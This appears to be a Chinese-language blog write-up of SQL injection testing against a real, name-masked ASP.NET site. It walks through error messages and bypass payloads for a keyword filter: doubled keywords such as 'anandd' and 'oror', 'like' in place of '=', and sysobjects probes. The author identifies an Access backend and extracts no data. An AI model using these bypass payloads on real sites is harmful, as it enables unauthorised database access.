過濾'and','or' ''' '*' '=' ‘select’下的註入
遇到一個站:http://www.馬賽克.net/intro.aspx?id=6
加了單引號 http://www.馬賽克.net/intro.aspx?id=6‘ 頁面無變化
加了雙引號 http://www.馬賽克.net/intro.aspx?id=6" 報錯
符串的語法錯誤 在查詢表達式 ‘intro_type=(select intro_type from tab_intro_info where id=6" ) order by id_sort‘ 中。
可以看到 註入點 在()中
測試 and 1=1 and 1=2 or 1=1 報錯
語法錯誤。 在查詢表達式 ‘intro_type=(select intro_type from tab_intro_info where id=6 11 )‘ 中
可以看到 and or = 等關鍵字 被”吃掉了“
經測試 並沒有進行循環查找過濾 and or 等字符
繞後方法 anandd oror And(大小寫)
http://www.馬賽克.net/intro.aspx?id=6 anandd 1=1 返回正常
http://www.馬賽克.net/intro.aspx?id=6 anandd 1=2 返回也正常
因為知道 = 也被“吃掉”了 所以用 ‘like‘ 代替
http://www.馬賽克.net/intro.aspx?id=6 anandd 1 like 1 返回正常
http://www.馬賽克.net/intro.aspx?id=6 anandd 1 like 2 返回也正常
--------------------
http://www.馬賽克.net/intro.aspx?id=6 anandd exists(select id from sysobjects) 報錯 select 也被“吃掉”了
語法錯誤。 在查詢表達式 ‘intro_type=(select intro_type from tab_intro_info where id=6 and exists( id from sysobjects) )‘ 中。
緊接著,我在在數據庫版本上花了很多時間 第一直覺認為是 aspx + mssql 組合
然後在繞過語句上測試了很多,無法繞後,後來從猜測數據庫類型開始猜 得出結論是 access數據庫
--------------------
知道了繞過方法,和數據庫類型,剩下的就是猜數據了,不過由於字典不給裏 並未猜出任何表(除了報錯時顯示的“tab_intro_info”),任何數據
由於表的組合比較變態 tab_intro_info 也就沒有繼續猜下去
過濾'and','or' ''' '*' '=' ‘select’下的註入